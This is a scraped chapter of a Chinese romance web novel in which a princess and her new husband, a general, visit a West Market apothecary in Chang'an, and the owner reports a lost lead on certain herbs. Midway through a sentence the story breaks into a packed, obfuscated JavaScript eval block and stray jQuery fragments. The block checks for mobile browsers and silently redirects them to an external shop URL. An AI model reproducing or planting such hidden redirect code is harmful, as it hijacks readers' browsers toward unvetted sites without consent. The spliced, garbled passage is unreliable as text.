文趣网 > 其他小说 > 驸马日日献殷勤 > 12. 第12章 药肆
    昼无事者夜不梦。

    张元曦最近终于明悟,往日梦魇缠身,原是她得知当年东宫之事另有隐情,心系父兄安危,忧思郁结于心所致。

    而她这两日心绪起伏不定,今夜——

    听得虞朔的问话,张元曦回眸一笑:“虞将军难道不满意那处院子?”

    前日的张元曦冷静下来,还是妥帖安顿了驸马的起居,没将他打发去了最为偏远的院子。

    虞朔将茶盏端起送到她面前,抬眼望着那双明眸,坦荡直言:“公主赐下的院落自然是好的,然而离公主却是那般远,臣又如何服侍公主呢?”

    张元曦指尖轻叩案沿,定睛看了他一会儿,才抬手接过茶盏悠悠啜饮。她心底细细回想了两座院落间的路程,倒也不得不承认,此话说得不错。

    一阵晚风拂面而来,晚霞渐渐褪去绚烂之态,不过多久便要沉入苍茫夜色。

    张元曦刚将茶盏放在案桌,忽觉手腕一阵尖锐刺痛,不由蹙起眉梢。下一瞬,眼前落下阴影,她右手已被人轻轻捧住。

    “可是腕间酸痛?”虞朔方才便留意到她指尖泛红,想来是握笔太久劳损所致,“许是公主伏案过久,臣略通按揉之法,可否容臣一试?”

    公主不出声,虞朔便当她默许了。

    他垂着眼,以指腹轻柔地顺着她腕间筋络缓缓按揉,语调轻缓:“排遣忧思的法子不少,还望公主顾惜自身。”

    张元曦垂眸望着他按揉腕间的手,脑海中忽然浮现出一件极为久远的小事。

    她幼时喜新厌旧,一时兴起迷上丹青,没过几日甚觉无趣又将其厌弃。她闹脾气时,阿兄正巧在旁边,而后自然而然地受到一顿厉声训斥,被罚抄经一日。

    她眼泪汪汪一字一句写完,委屈叫唤着“手没了”“手要断了”,阿兄便替她揉着手腕。在她的记忆里,手腕如何疼痛早已变得模糊不清,唯独记得阿兄那既严厉又红着眼眶疼惜的模样。

    张元曦眨了眨眼睛,感觉腕间的疼痛略有缓解,唇角浅淡勾了勾:“驸马好手艺。”

    虞朔声调微扬:“多谢公主赞誉。”

    天色已晚,公主府里不知何时已经燃起灯火。

    昏黄的光影落在张元曦的侧脸上,将她的面容映衬得温润柔和,唯有一双明眸隐在半明半暗间,叫人看不真切。

    青阳刚走到阶廊,一眼便瞥见这状若郎情妾意的光景,当即停住脚步。直到片刻后公主看了过来,她这才走上前来。

    虞朔正心旌摇曳着,见状只好偃旗息鼓闭了闭眼,退开一旁。

    “公主,宋氏药肆午后遣人送来口信。”

    张元曦站起身来,移步前去用膳,开口问道:“有何要事?”

    青阳跟着公主左侧,小心翼翼瞥了对面的驸马一眼,见公主没有异议才回道:“宋先生说,若您明日闲暇,望您移步过去。”

    张元曦沉吟片刻:“那便明日过去。”

    “是。”

    虞朔声线平和,随口问道:“公主,臣明日可否同去?”

    张元曦侧眸看他,眼含疑惑:“依《假宁令》,官员成婚给假九日,你如今仅剩几日,不歇着出门作甚?我这公主府大得很,你若是无聊,可叫徐怀带你随处转转。”

    “公主与臣燕尔新婚,若您独自出门,难保旁人揣测你我夫妻不和,臣倒是不在意这些流言,只恐公主闻之心生不悦,气坏身子那便不好了。”

    张元曦见他说辞这般堂而皇之,略有怪异地一笑:“虞将军果然思虑周全。”

    “公主这是愿意臣同去?”

    -

    翌日,云破日出。

    张元曦在驸马怀中醒来,心神还是有些恍惚。她撇开手中握住的粗粝手指,好容易才压下了将人踹开的冲动。

    她就寝时向来不喜殿里留着旁人,就应该让他侍寝后退下。

    所幸,倦极而眠果然能得一夜安睡。想来先前禁足时,她日夜翻看志怪之书,终究还是不够疲累。

    在驸马的尽心服侍下,张元曦用罢朝食,才去梳妆。

    待到公主妆罢出来,虞朔方知公主昨日那般笑容是何意思。

    只见她头戴帷帽,素白软纱网自檐边垂落至肩头,面容在薄纱之后若隐若现,一袭黄绿间裙将她衬得甚是灵动,巧妙掩去了与生俱来的雍容贵气。

    “我们走罢。”

    公主府的西角门外,一辆装饰简单的马车静静候着。

    车辕旁的侍女见公主和驸马走来,旋即抬手卷起车帘,扶着车厢恭请二人登车。

    张元曦一手提起裙裾,正要踩上踏凳,虞朔抬起手臂,将臂弯虚虚递到她手边。她微顿片刻,将手搭在他小臂上,借力踩上踏凳,弯腰迈入车厢。

    待虞朔也上了车,侍女才将车帘缓缓放下,回身让车夫启程。

    车厢颇为宽敞,便是多了一位七尺男儿,也不显逼仄。

    张元曦正欲抬手撩开眼前的帷幕,虞朔却先一步伸过手来,将软纱轻轻掀起。

    眼前的视线骤然变得清晰,她抬眼便撞进虞朔的目光里。目光交错中,她开口道:“虞将军有话便直说。”

    “公主为何如此打扮?”虞朔也不嫌累,就这般撩着软纱直直地望着她。

    张元曦似是玩笑般眨了眨眼:“自然是去察访民间之疾苦。”

    “宋氏药肆是在西市?”

    长安城有东西两市。东市汇集四方珍奇,往来多是皇亲国戚、达官显贵和文人墨客。西市胡商云集,市井气息浓重,别有一番热闹。

    张元曦抬手把软纱别好,将他的手拂开,随意说着话:“嗯,你听说过宋清吗?”

    虞朔顺势收回手,靠在厢壁上,语气淡淡:“不曾听说。”

    “很多年前,长安西市有位声名远扬的药商,名唤宋清。他虽为商贾,却怀有一颗仁义之心。在他眼里,买药求药之人贵贱无二。若有人因贫寒而无力买药,他便让人赊账。”

    “到了年末,贫困者若仍是无力偿还,他便撕毁欠条,不再追讨。每每知晓官员升迁或贬谪,他也常赠药接济。久而久之,他便得了‘人有义声,卖药宋清’的美名,连大诗人也为他作传。”

    虞朔认真地听她说完,而后漫不经心地问道:“那位宋先生便是他的后人?不知如今年纪几何?”

    “自然不是,他的后人早已无人知晓。宋师不过是我偶然救下的一名药商。我见他心怀仁善,便赠了些资财给他开药肆。”张元曦目光微垂,声音轻缓。

    “原来如此。”

    虞朔说罢,心中一阵默然,几欲想问她一句“为何一听到消息便要亲自过去”。话在喉间盘桓许久,他暗暗叹了口气,终究还是咽了回去。

    他掩去眸间情绪,将双手置于胸前,朝公主郑重一礼:“公主感念苍生之苦,广施恩惠,救济万民,臣不胜敬佩。”

    话音方落,马车中响起一声轻笑:“虞将军抬举了,不过是小事一桩。”

    虞朔收回手抬眸望她,语声认真:“于公主而言,这不过是举手之劳。可落到受苦之人身上,却是救命大恩。”

    举手之劳也好,救命大恩也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941186|213790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    罢,对张元曦来说并无分别。她不过是谨记阿娘教诲,借着身份和家财之便多行善事罢了。

    况且,张元曦是皇室贵主,身居霄汉,若说她对士庶臣民怀有仁爱之心,那自是不能的。

    风和日暄,车轮辘辘碾过街面,马车缓缓驶出坊南门,右转汇入金光门—春明门大街,而后顺着宽阔长街横穿朱雀大街,继续向西,直奔西市而去。

    午时已至,西市高墙内的市署传来鼓音三百次,市门应声大开。

    张元曦一行抵达西市时,已是人潮涌动。

    马车停在北门外,张元曦和虞朔在胡商的驼铃声中,缓步踏入西市。

    长街两侧,商铺鳞次栉比,招幌纵横交错。胡人与大雍百姓的谈笑声此起彼伏,街边摊贩不住地高声吆喝,不时有三两胡姬嬉笑着擦肩而过。胡饼的焦香裹着异域香料的气息,随长风扑面而来。

    侍女杜若在前引路,四个健仆环伺张元曦和虞朔左右,提防路人冲撞。

    西市本就鱼龙混杂,这般护卫倒也不算太过惹眼。

    不多时,宋氏药肆的幌子便映入眼帘。

    “客人是要买药吗?”

    张元曦一行刚迈进去,店仆便迎上前来,笑语相问。

    杜若上前抬臂一拦,不卑不亢道:“我家主人要见宋先生,谈笔大生意。”

    那店仆早停在三步外,目光飞快扫过众人,随即恭敬答道:“如此,便请诸位贵客到内堂暂歇片刻。”

    说罢,他吩咐旁边小厮去寻宋先生,自己则侧身引着众人进去。

    内堂里,杜若扶着张元曦落座,又将帷帽摘去。虞朔在她身侧坐定,四名健仆则守在门口。

    店仆旋即奉上清茶,便躬身退了出去。

    稍候片刻,一道清瘦身影疾步入内。

    虞朔见来人鬓染霜白,面生皱纹,年岁约莫四十上下,心中登时大安,端起茶盏一饮而尽。

    宋先生目光沉静温和,近前深深一礼:“拜见公主。”

    张元曦虚虚抬手:“宋师无需多礼,快快请起。”

    宋先生侧目望向屋里唯一的陌生男子,复又回望公主,含笑问道:“想来这位便是虞驸马吧?”

    “正是。”张元曦微微颔首。

    “拜见驸马。”宋先生对虞朔拱手一揖,面露愧色道:“听闻公主与驸马日前礼成,老朽冒昧请公主亲自前来,在此赔罪——”

    话音落时,他朝二人屈膝跪下:“谨祝公主与驸马鸾凤和鸣,岁岁安康。”

    张元曦唇角微弯:“无碍,宋师有心,快起来罢。”

    “谢过宋师吉言,”虞朔言罢,旋即起身,“臣忽然记起有事外出,约莫需要半个时辰,且容臣先行告辞。”

    张元曦抬眸望着他,心中暗自思忖,不知这人葫芦里卖的是什么药,面上却依旧从容,只轻轻颔首:“你且去吧。”

    “臣告退。”

    宋先生躬身目送驸马离去,转身便听见公主不疾不徐的问话。

    “找吾有何事?”

    宋先生闻言,顿时神色惶然,躬身禀道:“公主先前曾吩咐,若有人前来买那几味药材,便要回禀公主。昨日来了一位衣衫褴褛的少年,却是来卖其中一味药材。老朽思量再三,寻了个由头约他今日再来,本想等候公主亲临,当面一观。少年离去后,老朽派了两个小厮尾随,一人今早折返,说是那少年去了鬼市。”

    “昨日约好的时辰已过,那少年不曾前来,另一小厮也杳无音讯,”他深深俯首,跪地道,“老朽有负公主重托,万死矣!”